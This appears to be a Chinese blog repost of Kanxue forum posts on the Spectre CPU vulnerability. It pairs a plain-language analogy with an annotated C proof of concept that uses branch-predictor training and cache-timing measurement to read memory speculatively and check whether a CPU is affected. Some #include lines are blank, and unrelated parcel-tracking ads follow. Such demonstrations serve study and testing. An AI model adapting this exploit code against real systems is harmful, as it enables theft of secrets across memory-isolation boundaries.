通俗理解这次的CPU漏洞,附带修改过带注释源码一份
liebian365 2024-10-22 15:35 7 浏览 0 评论
通俗理解这次的CPU漏洞
文 | 轩辕之风
看雪论坛
技术分析想必大家已经看了不少,我来一个最简单好理解的例子:
生活实例:新生入学报道
(为简化问题,假设今天只有你一个人去学校报道,并且学校工作人员都是250)
开学去学校报道,三个步骤(三条CPU指令):
1)凭借录取通知书去领学号
2)凭借领取到的学号去领寝室号
3)凭借领取到的寝室号去领寝室钥匙
开学了,你捡到一张录取通知书,通知书编号是1001,然后去拿着它去学校报道,报道工作处有三个工作人员甲乙丙。甲负责直接和你交互,甲拿到你的入学通知书后开始查找你的学号,然后填写表格,然后把学号给你。
与此同时,工作人员乙拿到甲查到的学号后,去表格中查你对应的寝室号,等甲办完以后直接交给你。
还是与此同时,工作人员丙拿到乙查到的寝室号后开始去库房的钥匙柜架取出你的钥匙放在办公桌(同时,为了避免等会又跑一趟,它把这栋楼这一层的钥匙盒直接拿到办公室了,等会就不用再去库房奔波了),等乙办完以后就交给你。
但是,这个时候,甲发现你身份有问题,这不是你的录取通知书,不能给你办理入学手续,不能把学号给你。于是你被打回。
可是:乙已经提前帮你把对应学号的寝室号取到了(只是还没给你),丙也已经提前帮你把对应寝室的钥匙给你拿到了(只是还没给你)
好,你被拒绝办理入学了,因为你是假冒的。
实际上,你已经是在校生了,不是大一新生,刚才你是故意去假冒大一新生去报道。
这个时候,你去丙的办公室借钥匙。往常丙都是说你等一下,我去给你拿,然后会等差不多五分钟,丙给你拿来钥匙。但今天不同的是,今天没有等那么久,而是直接就把钥匙取出来了给你,全程不超过10秒钟。
于是,你明白了,一定是我刚才假冒去甲办理入学的时候,丙把钥匙盒取过来的,于是你意识到:我开始捡到的1001号的录取通知书新生住在我们这栋楼这一层。
于是,你如法炮制,伪造1002,1003,1999···号录取通知书去报道,然后知道了他们每个人住在哪一栋那一层。
原文链接:https://bbs.pediy.com/thread-223836.htm
——————————————————————
最近比较火的CPU漏洞解析,附带修改过带注释源码一份
文 | CSZQ
看雪论坛
先说结果,由于CPU乱序执行和分支预测功能,可以通过判断需要读取的页面是否被 cache 缓存来判断内存中存在什么内容。
简单粗暴,直接上本帅改过的代码,含中文注释,不谢。
另外膜拜下这份源码的大神。
/*
modify by:CSZQ
*/
/*
配置
*/
#define __DEBUG 0 // 调试模式开关,会打开额外输出
#define __TRYTIMES 50 // 每个字符尝试读取次数
/*
测试读取的数据
*/
#define __MAGICWORDS
"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890"
#define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) // 测试数据长度
/*
cache 命中阀值,是一个经验值,不成功9.9可能这里不对,默认值 50 ,可以通过 -t 传参修改
该数值与内存质量、CPU多项参数有关,是一个经验值,下面给出一些基于本帅移动端的 CPU Intel I7-4700MQ 给出的参数取值
取值大致范围:16 - 176
*/
#define CACHE_HIT_THRESHOLD (50)
/*
头文件
*/
#include
#include
#include
#include
#pragma optimize("gt",on)
/*
全局变量
*/
unsigned int array1_size = 16; // 排除 ASCII 码表前 16 个字符
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // 一个字典
uint8_t array2[256 * 512]; // 256 对应 ASCII 码表
const char *secret = __MAGICWORDS; // 测试读取的数据
int iThreshold = CACHE_HIT_THRESHOLD; // 读取时间阀值
/*
使用 temp 全局变量阻止编译器优化 victim_function()
*/
uint8_t temp = 0;
void victim_function(size_t x) {
/*
x 取值 0 - 15 时 获取 arrary2 的 1 - 16 分组 & temp 后赋值给 temp
temp 一直为 0
发生 evil 分支预测:
array1[x] 在 5 次分支预测时加载的值就是当前需要读取的虚拟地址
array2[array1[x] * 512] 在 5 次分支预测期间读取的是 标准ASCII 0 - 127 * 512 所在地址的 array2 数组内容
其他分支预测:
array1[x] cache 中的是根据尝试次数获取到的正常 array1 数组标准值
array2[array1[x] * 512] 在cache中缓存的是 ASCII 码表 1 - 16 号字符
*/
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256]; // 对应 ASCII 码表
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
/*
每个字符多次尝试获取以增加成功率
*/
for (tries = __TRYTIMES; tries > 0; tries--) {
/*
清空 array2 的每 512 字节首地址 cache
*/
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); // _mm_clflush:Invalidate and flush the cache line that contains p from all levels of the cache hierarchy
training_x = tries % array1_size;
/*
训练 CPU 缓存需要的数据
*/
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size); // 清空 array1_size 的缓存
/*
100 次内存取值用作延时,确保 cache 页全部换出
*/
for (volatile int z = 0; z < 100; z++) {}
/*
在这一步:
j % 6 = 0 则 x = 0xFFFF0000
j % 6 != 0 则 x = 0x00000000
Avoid jumps in case those tip off the branch predictor
*/
x = ((j % 6) - 1) & ~0xFFFF;
/*
到这里:
j % 6 = 0 则 x = 0xFFFFFFFF
j % 6 != 0 则 x = 0x00000000
*/
x = (x | (x >> 16));
/*
最后:
j % 6 = 0 则 x = malicious_x
j % 6 != 0 则 x = training_x
*/
x = training_x ^ (x & (malicious_x ^ training_x));
/*
调用触发 cache 代码
共计触发 5 次,j = 24、18、12、6、0时,都会触发分支预测
*/
victim_function(x);
}
/*
退出此函数时 cache 中已经缓存了需要越权获取的数据
*/
/*
读取时间。执行顺序轻微混淆防止 stride prediction(某种分支预测方法)
i 取值 0 - 255 对应 ASCII 码表
*/
for (i = 0; i < 256; i++) {
/*
TODO: 贼NB的数学游戏,值得叫 666
167 0xA7 1010 0111
13 0x0D 0000 1101
取值结果为 0 - 255 随机数且不重复
*/
mix_i = ((i * 167) + 13) & 255;
/*
addr 取 arrary2 中 0-255 组的首地址
*/
addr = &array2[mix_i * 512];
/*
junk 保存 TSC_AUX 寄存器值
time1 保存当前时间戳
*/
time1 = __rdtscp(&junk);
/*
获取数据,用以测试时间
*/
junk = *addr;
/*
记录并获取耗时
*/
time2 = __rdtscp(&junk) - time1;
/*
判断是否命中,且 mix_i 不能取 1 - 16,因为 1 - 16 在获取时是无效的
*/
if (time2 <= iThreshold && mix_i != array1[tries % array1_size])
/*
cache arrary2中的 0-255 项命中则 +1 分
*/
results[mix_i]++;
}
/*
获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
*/
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
/*
最高命中项命中次数大于 2 倍加 5 的次高命中项次数
或
仅仅最高命中项命中 2 次
则
退出循环,成功找到命中项
*/
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
/*
使用 junk 防止优化输出
*/
results[0] ^= junk;
value[0] = (uint8_t)j;//最高命中项
score[0] = results[j];//最高命中项命中次数
value[1] = (uint8_t)k;//次高命中项
score[1] = results[k];//次高命中项命中次数
}
int main(int argc, const char **argv) {
size_t malicious_x = (size_t)(secret - (char*)array1); /* 相对地址 */
int i, score[2], iLen = __MAGICWORDSCOUNT, iCount = 0;
char *opt, *addr;
uint8_t value[2];
printf("Provide by CSZQ\n");
/*
参数解析
*/
if (argc > 1) {
opt = (char*)&argv[1][1];
switch (*opt) {
case 'h':
printf("-h help\n-t 设置阀值,建议取值 16 - 176 之间,默认 50\n");
return 0;
case 't':
if (argc==2) {
sscanf(opt + 1, "%d", &iThreshold);
}
else {
sscanf(argv[2], "%d", &iThreshold);
}
break;
}
}
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* 避免写时复制 */
#if __DEBUG > 0
printf("Reading %d bytes:\n", iLen);
#endif
i = iLen;
while (--i >= 0) {
#if __DEBUG > 0
printf("读取地址:%p ", (void*)malicious_x);
#endif
readMemoryByte(malicious_x++, value, score);
addr = (char*)array1 + malicious_x - 1;
if (value[0] == *addr) {
iCount += (score[0] > 2 * score[1]) ? 1 : 0;
}
#if __DEBUG > 0
/*
如果最高命中项命中次数大于等于 2 倍的次高命中项,认为分支预测成功
*/
printf("%s: ", (score[0] >= 2 * score[1] ? "成功" : "...."));
printf("value:0x%02X char=%c counts=%d ", value[0],
((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(可能:value:0x%02X char=%c counts=%d)", value[1], ((value[0] > 31 && value[0] < 127) ? (char)value[0] : '?'), score[1]);
printf("\n");
#endif
}
/*
命中次数超过 1/5 认为存在BUG,过低有可能是巧合或阀值需要调整
*/
printf("%s\r\n", (iCount >= __MAGICWORDSCOUNT / 5) ? "--->存在BUG!!!<---" : "--->不存在BUG<---");
printf("%d 阀值下命中率为:%d / %d\r\n", iThreshold, iCount, iLen);
printf("按任意键退出程序...\r\n");
getchar();
return (0);
}
原文链接:https://bbs.pediy.com/thread-223824.htm
更多详情可参考看雪论坛专题帖: [讨论]Intel 曝出处理器设计漏洞,影响 Linux 和 Windows 内核
相关推荐
- 快递查询教程,批量查询物流,一键管理快递
-
作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...
- 一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递
-
对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...
- 快递查询单号查询,怎么查物流到哪了
-
输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...
- 3分钟查询物流,教你一键批量查询全部物流信息
-
很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...
- 快递单号查询,一次性查询全部物流信息
-
现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...
- 快递查询工具,批量查询多个快递快递单号的物流状态、签收时间
-
最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...
- 快递查询软件,自动识别查询快递单号查询方法
-
当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...
- 教你怎样查询快递查询单号并保存物流信息
-
商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...
- 简单几步骤查询所有快递物流信息
-
在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...
- 物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号
-
最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...
- 连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息
-
快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...
- 快递查询教程,快递单号查询,筛选更新量为1的单号
-
最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...
- 掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析
-
在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...
- 从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息
-
在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...
- 物流单号查询,在哪里查询快递
-
如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)